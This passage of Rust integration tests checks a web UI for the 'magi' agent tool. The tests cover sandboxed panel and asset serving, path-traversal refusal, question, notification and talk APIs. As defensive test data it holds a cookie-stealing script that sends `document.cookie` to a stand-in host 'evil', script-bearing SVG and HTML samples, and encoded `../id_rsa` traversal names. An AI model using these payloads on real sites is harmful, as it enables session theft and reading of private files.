6131        let fx = Fixture::start().await;
6132        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
6133        // tag, an entity, and a multi-byte character. The sandbox is what makes
6134        // this safe, so nothing here may be rewritten on the way out - a
6135        // rewritten diff is a diff the owner cannot trust.
6136        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
6137        let id = panel(&fx, html, &[]);
6138
6139        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6140
6141        assert_eq!(res.status, 200);
6142        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6143        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6144        assert_eq!(
6145            res.header("content-disposition"),
6146            None,
6147            "the panel itself is rendered in the frame, not downloaded"
6148        );
6149    }
6150
6151    #[tokio::test]
6152    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6153        let fx = Fixture::start().await;
6154        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6155        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6156        let id = panel(
6157            &fx,
6158            "<img src=\"diff.svg\"><img src=\"shot.png\">",
6159            &[("diff.svg", svg), ("shot.png", png)],
6160        );
6161
6162        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
6163        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
6164
6165        assert_eq!(as_svg.status, 200);
6166        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
6167        // An SVG is XML that may carry script. Inside the panel it is an
6168        // `<img src>` and the script cannot run; opened at the top level it
6169        // would be a document on magi's own origin, so the browser is told to
6170        // download it instead of rendering it.
6171        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
6172
6173        assert_eq!(as_png.status, 200);
6174        assert_eq!(as_png.header("content-type"), Some("image/png"));
6175        assert_eq!(
6176            as_png.header("content-disposition"),
6177            None,
6178            "a raster image has no execution surface, so tapping it still shows it"
6179        );
6180        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
6181    }
6182
6183    #[tokio::test]
6184    async fn an_html_asset_is_never_served_as_html() {
6185        let fx = Fixture::start().await;
6186        let id = panel(
6187            &fx,
6188            "<p>see the notes</p>",
6189            &[
6190                (
6191                    "notes.html",
6192                    b"<script>fetch('http://evil/'+document.cookie)</script>",
6193                ),
6194                ("hook.js", b"fetch('http://evil/')"),
6195                ("data.json", b"{}"),
6196                ("HEADLINE.TXT", b"plain"),
6197            ],
6198        );
6199
6200        for name in ["notes.html", "hook.js", "data.json"] {
6201            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
6202            assert_eq!(res.status, 200, "{name}: {}", res.body);
6203            // Serving this as text/html would be a way to reach agent markup
6204            // at the top level of the operator's browser, outside the frame's
6205            // sandbox and outside its CSP - which is the whole thing the panel
6206            // design exists to prevent. Unlisted types are downloads.
6207            assert_eq!(
6208                res.header("content-type"),
6209                Some("application/octet-stream"),
6210                "{name} must not be a type the browser will execute or render"
6211            );
6212        }
6213        // The whitelist is matched case-insensitively, so an agent shouting the
6214        // extension still gets a readable file rather than a download.
6215        let txt = fx
6216            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
6217            .await;
6218        assert_eq!(
6219            txt.header("content-type"),
6220            Some("text/plain; charset=utf-8")
6221        );
6222    }
6223
6224    #[tokio::test]
6225    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
6226        let fx = Fixture::start().await;
6227        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6228        // Something outside the panel directory that a traversal would reach if
6229        // one got through, so a passing test is not merely "the file was
6230        // missing anyway".
6231        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
6232
6233        // Decoded before this server's handler sees them: axum percent-decodes
6234        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
6235        // string with a NUL in it. All three look like ordinary single-segment
6236        // filenames to the router, so the router passes them through and
6237        // `valid_asset_name` is what refuses them - for the literal `..`, and
6238        // for `/`, `\` and NUL not being in the permitted character set.
6239        for encoded in [
6240            "%2e%2e%2fid_rsa",
6241            "..%2fid_rsa",
6242            "..%5cid_rsa",
6243            "%2e%2e%5cid_rsa",
6244            "diff%00.svg",
6245            "..",
6246            ".hidden",
6247            "%2e%2e%2f%2e%2e%2fid_rsa",
6248        ] {
6249            let res = fx
6250                .get(&format!("/api/questions/{id}/asset/{encoded}"))
6251                .await;
6252            assert_eq!(
6253                res.status, 400,
6254                "`{encoded}` has to be refused by name, not looked up: {}",
6255                res.body
6256            );
6257            assert!(res.json()["error"].is_string(), "{}", res.body);
6258        }
6259
6260        // Not decoded, and never this handler's problem: a real slash makes the
6261        // request one segment too long for `/api/questions/{id}/asset/{name}`,
6262        // so axum's router has no route to match and answers before any code
6263        // here runs. Asserted so that a future route with a wildcard segment
6264        // cannot quietly open this door.
6265        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
6266            let res = fx
6267                .get(&format!("/api/questions/{id}/asset/{literal}"))
6268                .await;
6269            assert_eq!(
6270                res.status, 404,
6271                "`{literal}` must not match the asset route at all: {}",
6272                res.body
6273            );
6274        }
6275    }
6276
6277    #[tokio::test]
6278    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
6279        let fx = Fixture::start().await;
6280        let plain = ask(&fx, "Which backend?", &["SQLite"]);
6281        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6282
6283        // A question nobody wrote a panel for. The client preflights with HEAD
6284        // and cannot see inside a sandboxed frame, so this must be a status and
6285        // not an empty page.
6286        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
6287        assert_eq!(none.status, 404, "{}", none.body);
6288        assert!(none.json()["error"].is_string(), "{}", none.body);
6289        assert_eq!(
6290            fx.head(&format!("/api/questions/{plain}/panel"))
6291                .await
6292                .status,
6293            404,
6294            "the preflight is the only way the client can learn this"
6295        );
6296
6297        // A name that is perfectly legal and simply is not there.
6298        let missing = fx
6299            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
6300            .await;
6301        assert_eq!(missing.status, 404, "{}", missing.body);
6302        assert!(missing.json()["error"].is_string(), "{}", missing.body);
6303
6304        // A question that does not exist at all, on both routes.
6305        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
6306        assert_eq!(
6307            fx.get("/api/questions/nope/asset/diff.svg").await.status,
6308            404
6309        );
6310    }
6311
6312    #[tokio::test]
6313    async fn a_run_with_an_open_question_reads_as_waiting() {
6314        let fx = Fixture::start().await;
6315        let run = "20260902-000000-beef".to_owned();
6316        write_run(&fx.runs(), &run, RunStatus::Implementing);
6317
6318        let before = fx.get("/api/runs").await.json();
6319        assert_eq!(before[0]["waiting"], false, "{before}");
6320
6321        let store = fx.questions();
6322        let mut q = Question::new(
6323            run.clone(),
6324            "implement".to_owned(),
6325            "impl-A".to_owned(),
6326            "Which backend?".to_owned(),
6327            String::new(),
6328            vec!["SQLite".to_owned()],
6329        );
6330        store.put(&mut q).expect("put");
6331
6332        let during = fx.get("/api/runs").await.json();
6333        assert_eq!(during[0]["waiting"], true, "{during}");
6334
6335        // Answered: the run is moving again, and the flag has to follow without
6336        // anything having rewritten run.json.
6337        q.answer(Answer::Choice("SQLite".to_owned()))
6338            .expect("answer");
6339        store.put(&mut q).expect("put");
6340        let after = fx.get("/api/runs").await.json();
6341        assert_eq!(after[0]["waiting"], false, "{after}");
6342    }
6343
6344    #[tokio::test]
6345    async fn an_open_question_is_listed_and_counted_by_health() {
6346        let fx = Fixture::start().await;
6347        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6348
6349        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6350        let listed = fx.get("/api/questions").await.json();
6351        assert_eq!(listed.as_array().expect("array").len(), 1);
6352        assert_eq!(listed[0]["id"], id);
6353        assert_eq!(listed[0]["status"], "open");
6354        assert_eq!(listed[0]["choices"][1], "Redis");
6355        // The count is what makes the phone's indicator honest: it is the one
6356        // number meaning nothing will move until a human acts.
6357        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6358    }
6359
6360    #[tokio::test]
6361    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
6362        let fx = Fixture::start().await;
6363        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6364        let path = format!("/api/questions/{id}/answer");
6365
6366        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
6367        assert_eq!(res.status, 200, "{}", res.body);
6368        let body = res.json();
6369        assert_eq!(body["status"], "answered");
6370        assert_eq!(body["answer"]["choice"], "Redis");
6371
6372        // Answered from the terminal in between the list and the tap: the UI
6373        // must be able to tell this from a bad request, so it can show the
6374        // recorded answer instead of an error.
6375        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
6376        assert_eq!(again.status, 409, "{}", again.body);
6377        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6378    }
6379
6380    #[tokio::test]
6381    async fn saying_something_appends_a_turn_without_answering() {
6382        let fx = Fixture::start().await;
6383        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6384        let path = format!("/api/questions/{id}/say");
6385
6386        let res = fx
6387            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
6388            .await;
6389        assert_eq!(res.status, 200, "{}", res.body);
6390        let body = res.json();
6391        assert_eq!(body["status"], "open", "talking back is not a decision");
6392        assert_eq!(body["answer"], Value::Null);
6393        assert_eq!(body["thread"][0]["who"], "operator");
6394        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
6395        assert_eq!(body["waiting_on_agent"], true);
6396        // Still open, still counted, still exactly one question.
6397        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6398    }
6399
6400    #[tokio::test]
6401    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
6402        let fx = Fixture::start().await;
6403        let store = fx.questions();
6404        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6405        assert_eq!(
6406            fx.get("/api/health").await.json()["questions_needs_owner"],
6407            1
6408        );
6409
6410        // The owner asks back instead of deciding: the ask bar, the nav badge
6411        // and the title must stop naming this question, because there is
6412        // nothing to decide until the agent answers - `status` alone cannot
6413        // say that, which is the whole reason `questions_needs_owner` exists
6414        // alongside `questions_open`.
6415        let res = fx
6416            .post(
6417                &format!("/api/questions/{id}/say"),
6418                Some(r#"{"body":"why not Postgres?"}"#),
6419            )
6420            .await;
6421        assert_eq!(res.status, 200, "{}", res.body);
6422        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6423        assert_eq!(
6424            fx.get("/api/health").await.json()["questions_needs_owner"],
6425            0,
6426            "waiting on the agent is not waiting on the owner"
6427        );
6428
6429        // `magi ask --thread` replying is what brings the owner count back -
6430        // the same event that would resume the CLI call blocked in `magi
6431        // ask`.
6432        let mut q = store.get(&id).expect("get");
6433        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
6434            .expect("reply");
6435        store.put(&mut q).expect("put");
6436        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6437        assert_eq!(
6438            fx.get("/api/health").await.json()["questions_needs_owner"],
6439            1,
6440            "the agent's reply is what should light the banner back up"
6441        );
6442    }
6443
6444    #[tokio::test]
6445    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
6446        let fx = Fixture::start().await;
6447        let store = fx.questions();
6448
6449        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6450        let res = fx
6451            .post(
6452                &format!("/api/questions/{empty_id}/say"),
6453                Some(r#"{"body":"   "}"#),
6454            )
6455            .await;
6456        assert_eq!(res.status, 400, "{}", res.body);
6457
6458        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6459        let mut answered = store.get(&answered_id).expect("get");
6460        answered
6461            .answer(Answer::Choice("SQLite".to_owned()))
6462            .expect("answer");
6463        store.put(&mut answered).expect("put");
6464        let res = fx
6465            .post(
6466                &format!("/api/questions/{answered_id}/say"),
6467                Some(r#"{"body":"still there?"}"#),
6468            )
6469            .await;
6470        assert_eq!(res.status, 409, "{}", res.body);
6471
6472        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6473        let mut abandoned = store.get(&abandoned_id).expect("get");
6474        abandoned.abandon("timed out");
6475        store.put(&mut abandoned).expect("put");
6476        let res = fx
6477            .post(
6478                &format!("/api/questions/{abandoned_id}/say"),
6479                Some(r#"{"body":"still there?"}"#),
6480            )
6481            .await;
6482        assert_eq!(res.status, 409, "{}", res.body);
6483    }
6484
6485    #[tokio::test]
6486    async fn an_answer_the_question_does_not_offer_is_refused() {
6487        let fx = Fixture::start().await;
6488        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6489        let path = format!("/api/questions/{id}/answer");
6490
6491        for body in [
6492            r#"{"choice":"Postgres"}"#,
6493            r#"{"text":"whatever you think"}"#,
6494            r#"{"choice":"Redis","text":"both"}"#,
6495            r#"{}"#,
6496        ] {
6497            let res = fx.post(&path, Some(body)).await;
6498            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
6499            assert!(res.json()["error"].is_string(), "{}", res.body);
6500        }
6501        // Nothing above may have answered it.
6502        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6503    }
6504
6505    #[tokio::test]
6506    async fn a_free_text_question_takes_text_and_not_a_choice() {
6507        let fx = Fixture::start().await;
6508        let id = ask(&fx, "What should the flag be called?", &[]);
6509        let path = format!("/api/questions/{id}/answer");
6510
6511        assert_eq!(
6512            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
6513            400
6514        );
6515        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
6516        assert_eq!(res.status, 200, "{}", res.body);
6517        assert_eq!(res.json()["answer"]["text"], "--json");
6518    }
6519
6520    #[tokio::test]
6521    async fn an_unknown_question_is_a_json_404() {
6522        let fx = Fixture::start().await;
6523        let res = fx
6524            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
6525            .await;
6526        assert_eq!(res.status, 404, "{}", res.body);
6527        assert!(res.json()["error"].is_string());
6528    }
6529
6530    #[tokio::test]
6531    async fn notifications_list_read_dismiss_and_health_agree() {
6532        let fx = Fixture::start().await;
6533        let store = Notices::at(fx.home.path().join("notifications"));
6534        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
6535        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
6536
6537        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
6538        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
6539
6540        let health = fx.get("/api/health").await.json();
6541        assert_eq!(health["notifications_unread"], 2);
6542        assert_ne!(
6543            health["notifications_rev"], rev0,
6544            "the badge must move live"
6545        );
6546
6547        let listed = fx.get("/api/notifications").await.json();
6548        assert_eq!(listed["unread"], 2);
6549        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
6550        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
6551
6552        let read = fx
6553            .post(&format!("/api/notifications/{}/read", a.id), None)
6554            .await;
6555        assert_eq!(read.status, 200, "{}", read.body);
6556        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
6557
6558        let gone = fx
6559            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
6560            .await;
6561        assert_eq!(gone.status, 200, "{}", gone.body);
6562        let listed = fx.get("/api/notifications").await.json();
6563        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
6564        assert_eq!(listed["unread"], 0);
6565
6566        store.raise(Notice::info("x", "again")).unwrap();
6567        let all = fx.post("/api/notifications/read-all", None).await;
6568        assert_eq!(all.status, 200, "{}", all.body);
6569        assert_eq!(all.json()["marked"], 1);
6570        assert_eq!(
6571            fx.get("/api/health").await.json()["notifications_unread"],
6572            0
6573        );
6574
6575        let missing = fx.post("/api/notifications/nope/read", None).await;
6576        assert_eq!(missing.status, 404, "{}", missing.body);
6577        assert!(missing.json()["error"].is_string());
6578    }
6579
6580    /// New work reaches the queue through `magi task add`, a standing talk's
6581    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
6582    /// so the compose form and that route are gone. The tests that covered
6583    /// that route's validation went with it, and nothing was left asserting
6584    /// it stays gone — so a re-added handler would silently let the phone
6585    /// file briefs no one validated.
6586    #[tokio::test]
6587    async fn a_task_cannot_be_filed_over_the_phone_directly() {
6588        let f = Fixture::start().await;
6589
6590        let res = f
6591            .post(
6592                "/api/queue",
6593                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6594            )
6595            .await;
6596
6597        assert_eq!(
6598            res.status, 405,
6599            "POST /api/queue must not be a route: {}",
6600            res.body
6601        );
6602        assert!(
6603            f.queue().list().is_empty(),
6604            "a task filed by a route that does not exist must not reach the disk"
6605        );
6606        // The path itself is still served — the Queue view reads it — and the
6607        // per-task controls are untouched by the entry being removed.
6608        assert_eq!(f.get("/api/queue").await.status, 200);
6609    }
6610
6611    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
6612    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6613        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6614            .expect("checkout dir");
6615    }
6616
6617    #[tokio::test]
6618    async fn repos_list_returns_name_and_path_for_every_configured_root() {
6619        let tmp = TempDir::new().expect("tempdir");
6620        let repo = tmp.path().join("repo");
6621        std::fs::create_dir_all(&repo).expect("repo dir");
6622        let root = tmp.path().join("root");
6623        make_checkout(&root, "github.com", "yukimemi", "magi");
6624        std::fs::write(
6625            repo.join("magi.toml"),
6626            format!(
6627                "[repos]\nroots = [{:?}]\n",
6628                root.to_string_lossy().into_owned()
6629            ),
6630        )
6631        .expect("write magi.toml");
6632
6633        let f = Fixture::with_repo(repo).await;
6634        let res = f.get("/api/repos").await;
6635        assert_eq!(res.status, 200, "{}", res.body);
6636        let list = res.json();
6637        let repos = list.as_array().expect("an array");
6638        assert_eq!(repos.len(), 1);
6639        assert_eq!(repos[0]["name"], "yukimemi/magi");
6640        assert!(
6641            repos[0]["path"]
6642                .as_str()
6643                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6644            "{list}"
6645        );
6646    }
6647
6648    #[tokio::test]
6649    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6650        let tmp = TempDir::new().expect("tempdir");
6651        let repo = tmp.path().join("repo");
6652        std::fs::create_dir_all(&repo).expect("repo dir");
6653        let root = tmp.path().join("root");
6654        make_checkout(&root, "github.com", "yukimemi", "magi");
6655        std::fs::write(
6656            repo.join("magi.toml"),
6657            format!(
6658                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6659                root.to_string_lossy().into_owned()
6660            ),
6661        )
6662        .expect("write magi.toml");
6663
6664        let f = Fixture::with_repo(repo).await;
6665        let first = f.get("/api/repos").await;
6666        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6667
6668        // A second checkout appears; within the TTL the cached answer must
6669        // not notice it.
6670        make_checkout(&root, "github.com", "yukimemi", "rvpm");
6671        let second = f.get("/api/repos").await;
6672        assert_eq!(
6673            second.json().as_array().map(Vec::len),
6674            Some(1),
6675            "a fresh cache must not rescan inside the TTL"
6676        );
6677
6678        let refreshed = f.get("/api/repos?refresh=1").await;
6679        assert_eq!(
6680            refreshed.json().as_array().map(Vec::len),
6681            Some(2),
6682            "an explicit refresh must rescan even inside the TTL"
6683        );
6684    }
6685
6686    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
6687    /// string, declared straight in a repository's own `magi.toml` rather
6688    /// than the operator's real roster. No real agent CLI is spawned - `sh`
6689    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
6690    /// this is safe to run over a real HTTP round trip.
6691    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6692
6693    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
6694    /// real `Config::discover` to find an agent - `talk::begin` resolves one
6695    /// even though it takes no turn, and `talk_say` invokes one.
6696    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6697        let tmp = TempDir::new().expect("tempdir");
6698        let repo = tmp.path().join("repo");
6699        std::fs::create_dir_all(&repo).expect("repo dir");
6700        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6701        let f = Fixture::with_repo(repo.clone()).await;
6702        (tmp, repo, f)
6703    }
6704
6705    #[tokio::test]
6706    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6707        let (_tmp, _repo, f) = talk_fixture().await;
6708
6709        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
6710        // is the ordinary way a phone opens a talk.
6711        let opened = f.post("/api/talks", None).await;
6712        assert_eq!(opened.status, 201, "{}", opened.body);
6713        let body = opened.json();
6714        assert_eq!(body["status"], "open");
6715        assert_eq!(
6716            body["turns"].as_array().unwrap().len(),
6717            0,
6718            "opening takes no agent turn: there is nothing yet to answer"
6719        );
6720
6721        // An explicit empty object is the same request as none at all.
6722        let also_opened = f.post("/api/talks", Some("{}")).await;
6723        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6724
6725        let listed = f.get("/api/talks").await.json();
6726        assert_eq!(listed.as_array().unwrap().len(), 2);
6727    }
6728
6729    #[tokio::test]
6730    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6731        let f = Fixture::start().await;
6732        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6733        let queue = f.queue();
6734        let mut mine = Task::new(
6735            "rename the loader".to_owned(),
6736            "rename the loader".to_owned(),
6737            PathBuf::from("/repo/magi"),
6738            Source::Agent {
6739                run: talk_id.clone(),
6740                node: "chat".to_owned(),
6741            },
6742        );
6743        queue.put(&mut mine).expect("file the task");
6744        let mut theirs = Task::new(
6745            "unrelated".to_owned(),
6746            "unrelated".to_owned(),
6747            PathBuf::from("/repo/magi"),
6748            Source::Human,
6749        );
6750        queue.put(&mut theirs).expect("file the task");
6751
6752        let res = f.get(&format!("/api/talks/{talk_id}")).await;
6753        assert_eq!(res.status, 200, "{}", res.body);
6754        let body = res.json();
6755        assert_eq!(
6756            body["status"], "open",
6757            "filing a task does not close a talk"
6758        );
6759        let tasks = body["tasks"].as_array().expect("tasks array");
6760        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6761        assert_eq!(tasks[0]["id"], mine.id);
6762    }
6763
6764    #[tokio::test]
6765    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6766        let (_tmp, _repo, f) = talk_fixture().await;
6767        let id = f.post("/api/talks", None).await.json()["id"]
6768            .as_str()
6769            .expect("id")
6770            .to_owned();
6771
6772        let res = f
6773            .post(
6774                &format!("/api/talks/{id}/say"),
6775                Some(r#"{"text":"what does the queue module do?"}"#),
6776            )
6777            .await;
6778        assert_eq!(res.status, 202, "{}", res.body);
6779        let queued = res.json();
6780        let turns = queued["turns"].as_array().expect("turns array");
6781        assert_eq!(
6782            turns.len(),
6783            1,
6784            "the answer reflects only what is on disk the instant it is sent, \
6785             before the agent's turn - which can run for the whole of \
6786             `[graph] timeout_talk` - has a chance to land: {queued}"
6787        );
6788        assert_eq!(turns[0]["who"], "operator");
6789        assert_eq!(turns[0]["body"], "what does the queue module do?");
6790        assert_eq!(
6791            queued["thinking"], true,
6792            "the accepted response exposes the background turn claim: {queued}"
6793        );
6794
6795        let mut turns_after = 1;
6796        for _ in 0..SETTLE_STEPS {
6797            let detail = f.get(&format!("/api/talks/{id}")).await.json();
6798            turns_after = detail["turns"].as_array().expect("turns array").len();
6799            if turns_after == 2 {
6800                break;
6801            }
6802            tokio::time::sleep(Duration::from_millis(10)).await;
6803        }
6804        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6805    }
6806
6807    /// A phone that reloads mid-request drops `talk_say`'s whole handler
6808    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
6809    /// guards against: `talk::record` used to return, and only *then* did the
6810    /// handler make a second, separate disk round trip before spawning the
6811    /// agent's reply task. A future dropped in that gap left a message
6812    /// recorded on disk with no reply task ever started and no way back short
6813    /// of a fresh message - and the gap was not even the whole story: *any*
6814    /// `.await` in this handler, including the very first one, is a point
6815    /// where a drop can land after the awaited work already finished but
6816    /// before this handler's own code resumes to act on it. `record` now
6817    /// runs inside the task `tokio::spawn` hands to the runtime before this
6818    /// handler ever awaits anything of its own again, so there is nothing
6819    /// left in *this* handler's future for a disconnect to interrupt between
6820    /// the message landing on disk and the reply task starting.
6821    ///
6822    /// A real socket disconnect cannot be relied on to land in the old gap
6823    /// from a test - over loopback, `talk_say` typically finishes before the
6824    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
6825    /// same failure mode directly: it drops the task's future at whatever
6826    /// point it has reached, exactly what axum does to the handler future,
6827    /// without needing to win a real network race. Sweeping the delay before
6828    /// aborting samples a range of points the task's execution can be at,
6829    /// including where the old code sat waiting on its second disk round
6830    /// trip - confirmed by reverting this fix locally and watching this same
6831    /// sweep catch a talk stuck with the operator's turn recorded and no
6832    /// reply ever following.
6833    #[tokio::test]
6834    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6835        let tmp = TempDir::new().expect("tempdir");
6836        let repo = tmp.path().join("repo");
6837        std::fs::create_dir_all(&repo).expect("repo dir");
6838        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6839        let home = TempDir::new().expect("temp home");
6840        let talks = Talks::at(home.path().join("talks"));
6841        let ui = Arc::new(
6842            Ui::new(
6843                Queue::at(home.path().join("queue")),
6844                Questions::at(home.path().join("questions")),
6845                talks.clone(),
6846                home.path().join("runs"),
6847                home.path().to_path_buf(),
6848                repo.clone(),
6849            )
6850            .with_worktrees_root(home.path().join("wt")),
6851        );
6852        let cfg = config_for(&repo).await.expect("discover config");
6853
6854        for delay in 0..40u32 {
6855            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6856            let id = talk.id.clone();
6857
6858            let handler = tokio::spawn(talk_say(
6859                State(Arc::clone(&ui)),
6860                Path(id.clone()),
6861                Ok(Json(NewTalkTurn {
6862                    text: "what does the queue module do?".to_owned(),
6863                    attachments: Vec::new(),
6864                })),
6865            ));
6866            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6867            handler.abort();
6868            // Wait out the abort so the next iteration's talk does not race
6869            // this one's still-unwinding turn guard.
6870            let _ = handler.await;
6871
6872            let mut turns = 0;
6873            for _ in 0..SETTLE_STEPS {
6874                if let Ok(fresh) = talks.get(&id) {
6875                    turns = fresh.turns.len();
6876                    if turns != 1 {
6877                        break;
6878                    }
6879                }
6880                tokio::time::sleep(Duration::from_millis(10)).await;
6881            }
6882            assert_ne!(
6883                turns, 1,
6884                "delay {delay}: talk {id} recorded the operator's turn but \
6885                 the agent never answered - the reply task was never \
6886                 started after the handler future was dropped"
6887            );
6888        }
6889    }
6890
6891    /// The same drop, landing on `talk_say`'s other durable write.
6892    ///
6893    /// When a turn is already running, the busy branch persists the
6894    /// operator's text as a queued draft and then reclaims the turn slot if
6895    /// the holder gave it up in the meantime - and whoever reclaims owes that
6896    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
6897    /// which finishes whether or not the future awaiting it is still there,
6898    /// so a handler dropped at that `.await` used to leave the draft written
6899    /// to disk with the reclaimed guard dropped unread and no drainer ever
6900    /// started: the message sat queued until some unrelated later `say`
6901    /// happened to pick it up.
6902    ///
6903    /// This used to drive the handler future by hand, polling it a fixed
6904    /// number of times to park it at the `.await` where it asks for the turn
6905    /// and finds it busy, before the reclaim's slot-free case could be set up
6906    /// underneath it. That assumed a fixed number of polls lands at a fixed
6907    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
6908    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
6909    /// poll, so any number of this handler's several `blocking` awaits can
6910    /// collapse into one poll under load, landing the drive somewhere other
6911    /// than intended - including, occasionally, straight past the handler's
6912    /// own completion, which made polling it again panic with "async fn
6913    /// resumed after completion". No poll count fixes that; the handler's
6914    /// progress simply is not something a caller outside it can observe by
6915    /// counting.
6916    ///
6917    /// [`BusyQueueGate`] replaces the poll count with a real stop point
6918    /// inside the write itself, so the interleaving under test is pinned by
6919    /// an event instead of a guess: the gate fires only once the handler has
6920    /// actually decided `Busy` and is about to persist the draft, and it
6921    /// blocks that write until the test lets it through. Between those two
6922    /// moments the test drains the turn the handler found busy - through
6923    /// `drain_loop`, the protocol's other half - and then aborts the handler
6924    /// task outright, the same way axum drops a disconnected request's
6925    /// future. The write, and the reclaim it may do, run to completion
6926    /// regardless: they live in the `tokio::spawn` task the busy branch hands
6927    /// to the runtime before ever touching the gate, wholly independent of
6928    /// whether the handler that started it is still around - which is what
6929    /// this test is actually checking. A drainer other than that reclaim
6930    /// cannot exist here: the test's own `drain_loop` call happens before the
6931    /// gate opens, so it runs while the queue is still empty and hands the
6932    /// turn straight back rather than draining anything, closing off the
6933    /// possibility of the final assertion passing without the reclaim ever
6934    /// having done its job.
6935    #[tokio::test]
6936    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6937        let tmp = TempDir::new().expect("tempdir");
6938        let repo = tmp.path().join("repo");
6939        std::fs::create_dir_all(&repo).expect("repo dir");
6940        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6941        let home = TempDir::new().expect("temp home");
6942        let talks = Talks::at(home.path().join("talks"));
6943        let ui = Arc::new(
6944            Ui::new(
6945                Queue::at(home.path().join("queue")),
